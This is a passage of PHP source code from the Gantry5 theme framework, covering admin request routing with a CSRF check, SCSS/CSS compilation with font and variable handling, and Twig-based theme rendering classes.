if ($this->container->debug()) {
throw $e;
}
$response = $this->getErrorResponse($e, $this->format ==
'json');
}
return $this->send($response);
}
public function execute($resource, $method = 'GET', $path,
$params = [], $format = 'html')
{
$class = '\\Gantry\\Admin\\Controller\\' .
ucfirst($format) . '\\' . strtr(ucwords(strtr($resource,
'/', ' ')), ' ', '\\');
// Protect against CSRF Attacks.
if (!in_array($method, ['GET', 'HEAD'], true)
&& !$this->checkSecurityToken()) {
throw new \RuntimeException('Invalid security token;
please reload the page and try again.', 403);
}
if (!class_exists($class)) {
if ($format === 'json') {
// Special case: All HTML requests can be returned also as
JSON.
$response = $this->execute($resource, $method, $path,
$params, 'html');
return $response instanceof JsonResponse ? $response : new
JsonResponse($response);
}
throw new \RuntimeException('Page Not Found', 404);
}
/** @var BaseController $controller */
$controller = new $class($this->container);
// Execute action.
$response = $controller->execute($method, $path, $params);
if (!$response instanceof Response) {
$response = new HtmlResponse($response);
}
return $response;
}
/**
* @return $this
*/
abstract protected function boot();
abstract protected function checkSecurityToken();
/**
* @return $this
*/
public function load()
{
static $loaded = false;
if ($loaded) {
return $this;
}
$loaded = true;
if (isset($this->container['theme.path']) &&
file_exists($this->container['theme.path'] .
'/includes/gantry.php')) {
include $this->container['theme.path'] .
'/includes/gantry.php';
}
if (isset($this->container['theme'])) {
// Initialize current theme if it is set.
$this->container['theme'];
} else {
// Otherwise initialize streams and error handler manually.
$this->container['streams']->register();
$this->container->register(new ErrorServiceProvider);
}
$this->container['admin.theme'] = function () {
return new Theme(GANTRYADMIN_PATH);
};
// Add event listener.
if (class_exists('Gantry\\Admin\\EventListener')) {
$listener = new EventListener;
/** @var EventDispatcher $events */
$events = $this->container['events'];
$events->addSubscriber($listener);
}
// Boot the service.
$this->container['admin.theme'];
return $this;
}
protected function getErrorResponse(\Exception $e, $json = false)
{
$response = new HtmlResponse;
$response->setStatusCode($e->getCode());
$params = [
'ajax' => $json,
'title' => $response->getStatus(),
'error' => $e,
];
$response->setContent($this->container['admin.theme']->render('@gantry-admin/error.html.twig',
$params));
if ($json) {
return new JsonResponse([$e, $response]);
}
return $response;
}
protected function send(Response $response) {
// Output HTTP header.
header("HTTP/1.1 {$response->getStatus()}", true,
$response->getStatusCode());
header("Content-Type: {$response->mimeType};
charset={$response->charset}");
foreach ($response->getHeaders() as $key => $values) {
foreach ($values as $value) {
header("{$key}: {$value}");
}
}
echo $response;
return true;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Router;
interface RouterInterface
{
public function dispatch();
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Stylesheet;
use Gantry\Component\Config\Config;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Colors;
use RocketTheme\Toolbox\File\PhpFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
abstract class CssCompiler implements CssCompilerInterface
{
use GantryTrait;
protected $type;
protected $name;
protected $debug = false;
protected $warnings = [];
/**
* @var array
*/
protected $fonts;
/**
* @var array
*/
protected $variables;
/**
* @var string
*/
protected $target = 'gantry-theme://css-compiled';
/**
* @var string
*/
protected $configuration = 'default';
/**
* @var array
*/
protected $paths;
/**
* @var array
*/
protected $files;
/**
* @var mixed
*/
protected $compiler;
/**
* @var bool
*/
protected $production;
public function __construct()
{
$gantry = static::gantry();
/** @var Config $global */
$global = $gantry['global'];
// In production mode we do not need to do any other checks.
$this->production = (bool)
$global->get('production');
}
public function getWarnings()
{
return $this->warnings;
}
/**
* @return string
*/
public function getTarget()
{
return $this->target;
}
/**
* @param string $target
* @return $this
*/
public function setTarget($target = null)
{
if ($target !== null) {
$this->target = (string) $target;
}
return $this;
}
/**
* @param string $configuration
* @return $this
*/
public function setConfiguration($configuration = null)
{
if ($configuration !== null) {
$this->configuration = $configuration;
}
return $this;
}
/**
* @param array $fonts
* @return $this
*/
public function setFonts(array $fonts = null)
{
if ($fonts !== null) {
// Normalize font data.
$list = [];
foreach ($fonts as $family => $data) {
$family = strtolower($family);
if (is_array($data)) {
// font: [400: url1, 500: url2, 700: url3]
$list[$family] = $data;
} else {
// font: url
$list[$family] = [400 => (string) $data];
}
}
$this->compiler->setFonts($list);
}
return $this;
}
/**
* @param array $paths
* @return $this
*/
public function setPaths(array $paths = null)
{
if ($paths !== null) {
$this->paths = $paths;
}
return $this;
}
/**
* @param array $files
* @return $this
*/
public function setFiles(array $files = null)
{
if ($files !== null) {
$this->files = $files;
}
return $this;
}
/**
* @param string $name
* @return string
*/
public function getCssUrl($name)
{
$out = $name . ($this->configuration !== 'default' ?
'_'. $this->configuration : '');
return "{$this->target}/{$out}.css";
}
/**
* @return $this
*/
public function compileAll()
{
foreach ($this->files as $file) {
$this->compileFile($file);
}
return $this;
}
public function needsCompile($in, $variables)
{
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$out = $this->getCssUrl($in);
$path = $locator->findResource($out);
// Check if CSS file exists at all.
if (!$path) {
$this->setVariables($variables());
return true;
}
if ($this->production) {
// Open the file to see if it contains development comment in
the beginning of the file.
$handle = fopen($path, 'rb');
$contents = fread($handle, 36);
fclose($handle);
if ($contents === '/* GANTRY5 DEVELOPMENT MODE
ENABLED.') {
$this->setVariables($variables());
return true;
}
// Compare checksum comment in the file.
if ($contents !== $this->checksum()) {
$this->setVariables($variables());
return true;
}
// In production mode we do not need to do any other checks.
return false;
}
$uri = basename($out);
$metaFile =
PhpFile::instance($locator->findResource("gantry-cache://theme/scss/{$uri}.php",
true, true));
// Check if meta file exists.
if (!$metaFile->exists()) {
$this->setVariables($variables());
return true;
}
$content = $metaFile->content();
$metaFile->free();
// Check if filename in meta file matches.
if (empty($content['file']) || $content['file']
!== $out) {
$this->setVariables($variables());
return true;
}
// Check if meta timestamp matches to CSS file.
if (filemtime($path) !== $content['timestamp']) {
$this->setVariables($variables());
return true;
}
$this->setVariables($variables());
// Check if variables have been changed.
$oldVariables = isset($content['variables']) ?
$content['variables'] : [];
if ($oldVariables != $this->getVariables()) {
return true;
}
// Preload all CSS files to locator cache.
foreach ($this->paths as $path) {
$locator->fillCache($path);
}
// Check if any of the imported files have been changed.
$imports = isset($content['imports']) ?
$content['imports'] : [];
if (!$imports) {
return $this->findImport($in) !== null;
}
foreach ($imports as $resource => $timestamp) {
$import = $locator->isStream($resource) ?
$locator->findResource($resource) : realpath($resource);
if (!$import || filemtime($import) !== $timestamp) {
return true;
}
}
return false;
}
public function setVariables(array $variables)
{
$this->variables = array_filter($variables);
foreach($this->variables as &$value) {
// Check variable against colors and units.
/* Test regex against these:
* Should only match the ones marked as +
* - family=Aguafina+Script
* - #zzzzzz
* - #fff
* + #ffaaff
* + 33em
* + 0.5px
* - 50 rem
* - rgba(323,323,2323)
* + rgba(125,200,100,0.3)
* - rgb(120,12,12)
*/
if
(preg_match('/(^(#([a-fA-F0-9]{6})|(rgba\(\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*((0.[0-9]+)|[01])\s*\)))|(\d+(\.\d+){0,1}(rem|em|ex|ch|vw|vh|vmin|vmax|%|px|cm|mm|in|pt|pc))$)/i',
$value)) {
continue;
}
// Check variable against predefined color names (we use Leafo
SCSS Color class to do that).
if (isset(Colors::$cssColors[strtolower($value)])) {
continue;
}
// All the unknown values need to be quoted.
$value = "'{$value}'";
}
return $this;
}
public function getVariables()
{
return $this->variables;
}
public function reset()
{
$this->compiler->reset();
return $this;
}
/**
* @param string $url
* @return null|string
*/
abstract public function findImport($url);
protected function checksum($len = 36)
{
static $checksum;
if (!$checksum) {
$checksum = md5(GANTRY5_VERSION . ' ' .
Gantry::instance()['theme']->version);
}
return '/*' . substr($checksum, 0, $len - 4) .
'*/';
}
protected function createMeta($out, $md5)
{
$gantry = Gantry::instance();
if ($this->production) {
return;
}
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$uri = basename($out);
$metaFile =
PhpFile::instance($locator->findResource("gantry-cache://theme/scss/{$uri}.php",
true, true));
$data = [
'file' => $out,
'timestamp' =>
filemtime($locator->findResource($out)),
'md5' => $md5,
'variables' => $this->getVariables(),
'imports' =>
$this->compiler->getParsedFiles()
];
// Attempt to lock the file for writing.
try {
$metaFile->lock(false);
} catch (\Exception $e) {
// Another process has locked the file; we will check this in a
bit.
}
// If meta file wasn't already locked by another process, save
it.
if ($metaFile->locked() !== false) {
$metaFile->save($data);
$metaFile->unlock();
}
$metaFile->free();
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Stylesheet;
interface CssCompilerInterface
{
/**
* @return array
*/
public function getWarnings();
/**
* @return string
*/
public function getTarget();
/**
* @param string $target
* @return $this
*/
public function setTarget($target = null);
/**
* @param string $configuration
* @return $this
*/
public function setConfiguration($configuration = null);
/**
* @param array $paths
* @return $this
*/
public function setPaths(array $paths = null);
/**
* @param array $files
* @return $this
*/
public function setFiles(array $files = null);
/**
* @param array $fonts
* @return $this
*/
public function setFonts(array $fonts);
/**
* @param string $name
* @return string
*/
public function getCssUrl($name);
public function getVariables();
public function setVariables(array $variables);
public function registerFunction($name, callable $callback);
public function unregisterFunction($name);
public function needsCompile($in, $variables);
public function compileFile($in);
/**
* @return $this
*/
public function reset();
/**
* @return $this
*/
public function compileAll();
public function resetCache();
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Stylesheet\Scss;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Compiler as BaseCompiler;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\Parser;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Compiler extends BaseCompiler
{
protected $basePath;
protected $fonts;
protected $usedFonts;
protected $streamNames;
protected $parsedFiles = [];
public function __construct()
{
parent::__construct();
$this->registerFunction('get-font-url', [$this,
'userGetFontUrl']);
$this->registerFunction('get-font-family', [$this,
'userGetFontFamily']);
$this->registerFunction('get-local-fonts', [$this,
'userGetLocalFonts']);
$this->registerFunction('get-local-font-weights',
[$this, 'userGetLocalFontWeights']);
$this->registerFunction('get-local-font-url', [$this,
'userGetLocalFontUrl']);
}
/**
* @param $basePath
*/
public function setBasePath($basePath)
{
/** @var Document $document */
$document = Gantry::instance()['document'];
$this->basePath = rtrim($document->rootUri(), '/')
. '/' . Folder::getRelativePath($basePath);
}
/**
* @param array $fonts
*/
public function setFonts(array $fonts)
{
$this->fonts = $fonts;
}
/**
* @param $args
* @return mixed
*/
public function compileArgs($args)
{
foreach ($args as &$arg) {
$arg = $this->compileValue($arg);
}
return $args;
}
/**
* Get variable
*
* @api
*
* @param string $name
* @param boolean $shouldThrow
* @param BaseCompiler\Environment $env
* @param bool $unreduced
*
* @return mixed
*/
public function get($name, $shouldThrow = true,
BaseCompiler\Environment $env = null, $unreduced = false)
{
try {
return parent::get($name, $shouldThrow, $env, $unreduced);
} catch (\Exception $e) {
echo $e->getMessage() . "\n";
return ['string', '', ['']];
}
}
/**
* @param array $args
* @return string
* @throws \Leafo\ScssPhp\Exception\CompilerException
*/
public function libUrl(array $args)
{
// Function has a single parameter.
$parsed = reset($args);
if (!$parsed) {
$this->throwError('url() is missing parameter');
}
// Compile parsed value to string.
$url = trim($this->compileValue($parsed),
'\'"');
// Handle ../ inside CSS files (points to current theme).
if (strpos($url, '../') === 0 && strpos($url,
'../', 3) === false) {
$url = 'gantry-theme://' . substr($url, 3);
}
// Generate URL, failed streams will be transformed to 404 URLs.
$url = Gantry::instance()['document']->url($url, null,
null, false);
// Changes absolute URIs to relative to make the path to work even
if the site gets moved.
if ($url && $url[0] === '/' &&
$this->basePath) {
$url = Folder::getRelativePathDotDot($url, $this->basePath);
}
// Make sure that all the URLs inside CSS are https compatible by
replacing http:// protocol with //.
if (strpos($url, 'http://') === 0) {
$url = str_replace('http://', '//', $url);
}
// Return valid CSS.
return "url('{$url}')";
}
/**
* get-font-url($my-font-variable);
*
* @param array $args
* @return string
*/
public function userGetFontUrl($args)
{
$value = trim($this->compileValue(reset($args)),
'\'"');
// It's a google font
if (0 === strpos($value, 'family=')) {
$fonts = $this->decodeFonts($value);
$font = reset($fonts);
// Only return url once per font.
if ($font && !isset($this->usedFonts[$font])) {
$this->usedFonts[$font] = true;
return
"url('//fonts.googleapis.com/css?{$value}')";
}
}
return false;
}
/**
* font-family: get-font-family($my-font-variable);
*
* @param array $args
* @return string
*/
public function userGetFontFamily($args)
{
$value = trim($this->compileValue(reset($args)),
'\'"');
return $this->encodeFonts($this->decodeFonts($value));
}
/**
* get-local-fonts($my-font-variable, $my-font-variable2, ...);
*
* @param array $args
* @return array
*/
public function userGetLocalFonts($args)
{
$args = $this->compileArgs($args);
$fonts = [];
foreach ($args as $value) {
// It's a local font, we need to load any of the mapped
fonts from the theme
$fonts = array_merge($fonts, $this->decodeFonts($value,
true));
}
$fonts = $this->getLocalFonts($fonts);
// Create a basic list of strings so that SCSS parser can parse the
list.
$list = [];
foreach ($fonts as $font => $data) {
$list[] = ['string', '"', [$font]];
}
return ['list', ',', $list];
}
/**
* get-local-font-weights(roboto);
*
* @param array $args
* @return array
*/
public function userGetLocalFontWeights($args)
{
$name = trim($this->compileValue(reset($args)),
'\'"');
$weights = isset($this->fonts[$name]) ?
array_keys($this->fonts[$name]) : [];
// Create a list of numbers so that SCSS parser can parse the list.
$list = [];
foreach ($weights as $weight) {
$list[] = ['string', '', [(int) $weight]];
}
return ['list', ',', $list];
}
/**
* get-local-font-url(roboto, 400);
*
* @param array $args
* @return string
*/
public function userGetLocalFontUrl($args)
{
$args = $this->compileArgs($args);
$name = isset($args[0]) ? trim($args[0], '\'"')
: '';
$weight = isset($args[1]) ? $args[1] : 400;
// Only return url once per font.
$weightName = $name . '-' . $weight;
if (isset($this->fonts[$name][$weight]) &&
!isset($this->usedFonts[$weightName])) {
$this->usedFonts[$weightName] = true;
return $this->fonts[$name][$weight];
}
return false;
}
/**
* Get local font data.
*
* @param array $fonts
* @return array
*/
protected function getLocalFonts(array $fonts)
{
$list = [];
foreach ($fonts as $family) {
$family = strtolower($family);
if (isset($this->fonts[$family])) {
$list[$family] = $this->fonts[$family];
}
}
return $list;
}
/**
* Convert array of fonts into a CSS parameter string.
*
* @param array $fonts
* @return string
*/
protected function encodeFonts(array $fonts)
{
array_walk($fonts, function(&$val) {
// Check if font family is one of the 4 default ones, otherwise
add quotes.
if (!\in_array($val, ['cursive', 'serif',
'sans-serif', 'monospace'], true)) {
$val = '"' . $val . '"';
}
});
return implode(', ', $fonts);
}
/**
* Convert string into array of fonts.
*
* @param string $string
* @param bool $localOnly
* @return array
*/
protected function decodeFonts($string, $localOnly = false)
{
if (0 === strpos($string, 'family=')) {
if ($localOnly) {
// Do not return external fonts.
return [];
}
// Matches google font family name
preg_match('/^family=([^&:]+).*$/ui', $string,
$matches);
return [urldecode($matches[1])];
}
// Filter list of fonts and quote them.
$list = (array) explode(',', $string);
array_walk($list, function(&$val) {
$val = trim($val, "'\" \t\n\r\0\x0B");
});
array_filter($list);
return $list;
}
public function reset()
{
$this->usedFonts = [];
return $this;
}
/**
* Instantiate parser
*
* @param string $path
*
* @return \Leafo\ScssPhp\Parser
*/
protected function parserFactory($path)
{
$parser = new Parser($path, count($this->sourceNames),
$this->encoding);
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
$this->sourceNames[] = $locator->isStream($path) ?
$locator->findResource($path, false) : $path;
$this->streamNames[] = $path;
$this->addParsedFile($path);
return $parser;
}
/**
* Adds to list of parsed files
*
* @api
*
* @param string $path
*/
public function addParsedFile($path)
{
if ($path && file_exists($path)) {
$this->parsedFiles[$path] = filemtime($path);
}
}
/**
* Returns list of parsed files
*
* @api
*
* @return array
*/
public function getParsedFiles()
{
return $this->parsedFiles;
}
/**
* Clean parset files.
*
* @api
*/
public function cleanParsedFiles()
{
$this->parsedFiles = [];
}
/**
* Handle import loop
*
* @param string $name
*
* @throws \Exception
*/
protected function handleImportLoop($name)
{
for ($env = $this->env; $env; $env = $env->parent) {
$file = $this->streamNames[$env->block->sourceIndex];
if (realpath($file) === $name) {
$this->throwError('An @import loop has been found:
%s imports %s', $file, basename($file));
break;
}
}
}
/**
* Override function to improve the logic.
*
* @param string $path
* @param OutputBlock $out
*
* @throws \Exception
*/
protected function importFile($path, OutputBlock $out)
{
$this->addParsedFile($path);
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
// see if tree is cached
$realPath = $locator($path);
if (isset($this->importCache[$realPath])) {
$this->handleImportLoop($realPath);
$tree = $this->importCache[$realPath];
} else {
$code = file_get_contents($realPath);
$parser = $this->parserFactory($path);
$tree = $parser->parse($code);
$this->importCache[$realPath] = $tree;
}
$dirname = dirname($path);
array_unshift($this->importPaths, $dirname);
$this->compileChildrenNoReturn($tree->children, $out);
array_shift($this->importPaths);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Stylesheet;
use Gantry\Component\Stylesheet\Scss\Compiler;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Exception\CompilerException;
use RocketTheme\Toolbox\File\File;
use RocketTheme\Toolbox\File\JsonFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class ScssCompiler extends CssCompiler
{
/**
* @var string
*/
public $type = 'scss';
/**
* @var string
*/
public $name = 'SCSS';
/**
* @var Compiler
*/
protected $compiler;
/**
* Constructor.
*/
public function __construct()
{
parent::__construct();
$this->compiler = new Compiler();
if ($this->production) {
$this->compiler->setFormatter('Leafo\ScssPhp\Formatter\Crunched');
} else {
$this->compiler->setFormatter('Leafo\ScssPhp\Formatter\Expanded');
// Work around bugs in SCSS compiler.
// TODO: Pass our own SourceMapGenerator instance instead.
$this->compiler->setSourceMap(Compiler::SOURCE_MAP_INLINE);
$this->compiler->setSourceMapOptions([
'sourceMapBasepath' => '/',
'sourceRoot' => '/',
]);
$this->compiler->setLineNumberStyle(Compiler::LINE_COMMENTS);
}
}
public function compile($in)
{
return $this->compiler->compile($in);
}
public function resetCache()
{
}
/**
* @param string $in Filename without path or extension.
* @return bool True if the output file was saved.
* @throws \RuntimeException
*/
public function compileFile($in)
{
// Buy some extra time as compilation may take a lot of time in
shared environments.
@set_time_limit(30);
@set_time_limit(60);
@set_time_limit(90);
@set_time_limit(120);
ob_start();
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$out = $this->getCssUrl($in);
$path = $locator->findResource($out, true, true);
$file = File::instance($path);
// Attempt to lock the file for writing.
try {
$file->lock(false);
} catch (\Exception $e) {
// Another process has locked the file; we will check this in a
bit.
}
if ($file->locked() === false) {
// File was already locked by another process, lets avoid
compiling the same file twice.
return false;
}
// Set the lookup paths.
$this->compiler->setBasePath($path);
$this->compiler->setImportPaths([[$this,
'findImport']]);
// Run the compiler.
$this->compiler->setVariables($this->getVariables());
$scss = '@import "' . $in . '.scss"';
try {
$css = $this->compiler->compile($scss);
} catch (CompilerException $e) {
throw new \RuntimeException("CSS Compilation on file
'{$in}.scss' failed on error: {$e->getMessage()}", 500,
$e);
}
if (strpos($css, $scss) === 0) {
$css = '/* ' . $scss . ' */';
}
// Extract map from css and save it as separate file.
if ($pos = strrpos($css, '/*# sourceMappingURL=')) {
$map = json_decode(urldecode(substr($css, $pos + 43, -3)),
true);
/** @var Document $document */
$document = $gantry['document'];
foreach ($map['sources'] as &$source) {
$source = $document->url($source, null, -1);
}
unset($source);
$mapFile = JsonFile::instance($path . '.map');
$mapFile->save($map);
$mapFile->free();
$css = substr($css, 0, $pos) . '/*#
sourceMappingURL=' . basename($out) . '.map */';
}
$warnings = trim(ob_get_clean());
if ($warnings) {
$this->warnings[$in] = explode("\n", $warnings);
}
if (!$this->production) {
$warning = <<<WARN
/* GANTRY5 DEVELOPMENT MODE ENABLED.
WARNING: This file is automatically generated by Gantry5. Any
modifications to this file will be lost!
For more information on modifying CSS, please read:
http://docs.gantry.org/gantry5/configure/styles
http://docs.gantry.org/gantry5/tutorials/adding-a-custom-style-sheet
*/
WARN;
$css = $warning . "\n\n" . $css;
} else {
$css = "{$this->checksum()}\n{$css}";
}
$file->save($css);
$file->unlock();
$file->free();
$this->createMeta($out, md5($css));
$this->compiler->cleanParsedFiles();
return true;
}
/**
* @param string $name Name of function to register to the
compiler.
* @param callable $callback Function to run when called by the
compiler.
* @return $this
*/
public function registerFunction($name, callable $callback)
{
$this->compiler->registerFunction($name, $callback);
return $this;
}
/**
* @param string $name Name of function to unregister.
* @return $this
*/
public function unregisterFunction($name)
{
$this->compiler->unregisterFunction($name);
return $this;
}
/**
* @param string $url
* @return null|string
* @internal
*/
public function findImport($url)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// Ignore vanilla css and external requests.
if (preg_match('/\.css$|^https?:\/\//', $url)) {
return null;
}
// Try both normal and the _partial filename.
$files = array($url, preg_replace('/[^\/]+$/',
'_\0', $url));
foreach ($this->paths as $base) {
foreach ($files as $file) {
if (!preg_match('|\.scss$|', $file)) {
$file .= '.scss';
}
if ($locator->findResource($base . '/' .
$file)) {
return $base . '/' . $file;
}
}
}
return null;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Component\System;
class Messages
{
protected $messages = [];
public function add($message, $type = 'warning')
{
$this->messages[] = ['type' => $type,
'message' => $message];
return $this;
}
public function get()
{
return $this->messages;
}
public function clean()
{
$this->messages = [];
return $this;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Theme;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Twig\TwigCacheFilesystem;
use Gantry\Component\Twig\TwigExtension;
use Gantry\Framework\Platform;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Class AbstractTheme
* @package Gantry\Component
*
* @property string $path
* @property string $layout
*/
abstract class AbstractTheme
{
use GantryTrait;
/**
* @var string
*/
public $name;
/**
* @var string
*/
public $path;
/**
* @var \Twig_Environment
*/
protected $renderer;
/**
* Construct theme object.
*
* @param string $path
* @param string $name
*/
public function __construct($path, $name = null)
{
if (!is_dir($path)) {
throw new \LogicException('Theme not found!');
}
$this->name = $name ? $name : basename($path);
$this->path = $path;
$this->init();
}
/**
* Get context for render().
*
* @param array $context
* @return array
*/
public function getContext(array $context)
{
$context['theme'] = $this;
return $context;
}
/**
* Define twig environment.
*
* @param \Twig_Environment $twig
* @param \Twig_LoaderInterface $loader
* @return \Twig_Environment
*/
public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
{
if
($twig->hasExtension('Gantry\Component\Twig\TwigExtension')) {
return $twig;
}
if (!$loader) {
$loader = $twig->getLoader();
}
$this->setTwigLoaderPaths($loader);
$twig->addExtension(new TwigExtension);
if (method_exists($this, 'toGrid')) {
$filter = new \Twig_SimpleFilter('toGrid', [$this,
'toGrid']);
$twig->addFilter($filter);
}
return $twig;
}
/**
* Return renderer.
*
* @return \Twig_Environment
*/
public function renderer()
{
if (!$this->renderer) {
$gantry = static::gantry();
/** @var Config $global */
$global = $gantry['global'];
$cachePath = $global->get('compile_twig', 1) ?
$this->getCachePath('twig') : null;
$cache = $cachePath ? new TwigCacheFilesystem($cachePath,
\Twig_Cache_Filesystem::FORCE_BYTECODE_INVALIDATION) : null;
$debug = $gantry->debug();
$production = (bool) $global->get('production',
1);
$loader = new \Twig_Loader_Filesystem();
$params = [
'cache' => $cache,
'debug' => $debug,
'auto_reload' => !$production,
'autoescape' => 'html'
];
$twig = new \Twig_Environment($loader, $params);
$this->setTwigLoaderPaths($loader);
if ($debug) {
$twig->addExtension(new \Twig_Extension_Debug());
}
$this->renderer = $this->extendTwig($twig, $loader);
}
return $this->renderer;
}
/**
* Render a template file by using given context.
*
* @param string $file
* @param array $context
* @return string
*/
public function render($file, array $context = [])
{
// Include Gantry specific things to the context.
$context = $this->getContext($context);
return $this->renderer()->render($file, $context);
}
/**
* Compile and render twig string.
*
* @param string $string
* @param array $context
* @return string
*/
public function compile($string, array $context = [])
{
$renderer = $this->renderer();
$template = $renderer->createTemplate($string);
// Include Gantry specific things to the context.
$context = $this->getContext($context);
return $template->render($context);
}
/**
* Initialize theme.
*/
protected function init()
{
$gantry = static::gantry();
$gantry['streams']->register();
// Only add error service if development or debug mode has been
enabled or user is admin.
if (!$gantry['global']->get('production', 0)
|| $gantry->debug() || $gantry->admin()) {
$gantry->register(new ErrorServiceProvider);
}
// Initialize theme cache stream.
$cachePath = $this->getCachePath();
Folder::create($cachePath);
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$locator->addPath('gantry-cache', 'theme',
[$cachePath], true, true);
CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
CompiledYamlFile::$defaultCaching =
$gantry['global']->get('compile_yaml', 1);
}
/**
* Set twig lookup paths to the loader.
*
* @param \Twig_LoaderInterface $loader
* @return \Twig_Loader_Filesystem|null
* @internal
*/
protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
{
if ($loader instanceof \Twig_Loader_Chain) {
$new = new \Twig_Loader_Filesystem();
$loader->addLoader($new);
$loader = $new;
} elseif (!($loader instanceof \Twig_Loader_Filesystem)) {
return null;
}
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$loader->setPaths($locator->findResources('gantry-engine://templates'),
'nucleus');
$loader->setPaths($locator->findResources('gantry-particles://'),
'particles');
return $loader;
}
/**
* Get path to Twig cache.
*
* @param string $path
* @return string
*/
protected function getCachePath($path = '')
{
$gantry = static::gantry();
/** @var Platform $patform */
$patform = $gantry['platform'];
// Initialize theme cache stream.
return $patform->getCachePath() . '/' . $this->name
. ($path ? '/' . $path : '');
}
/**
* @deprecated 5.0.2
*/
public function debug()
{
return static::gantry()->debug();
}
/**
* @deprecated 5.1.5
*/
public function add_to_context(array $context)
{
return $this->getContext($context);
}
/**
* @deprecated 5.1.5
*/
public function add_to_twig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
{
return $this->extendTwig($twig, $loader);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Theme;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Streams;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Class ThemeDetails
* @package Gantry\Component\Theme
*/
class ThemeDetails implements \ArrayAccess
{
use NestedArrayAccessWithGetters, Export;
protected $items;
protected $parent;
/**
* Create new theme details.
*
* @param string $theme
*/
public function __construct($theme)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$filename =
$locator->findResource("gantry-themes://{$theme}/gantry/theme.yaml");
if (!$filename) {
throw new \RuntimeException(sprintf('Theme %s not
found', $theme), 404);
}
$cache =
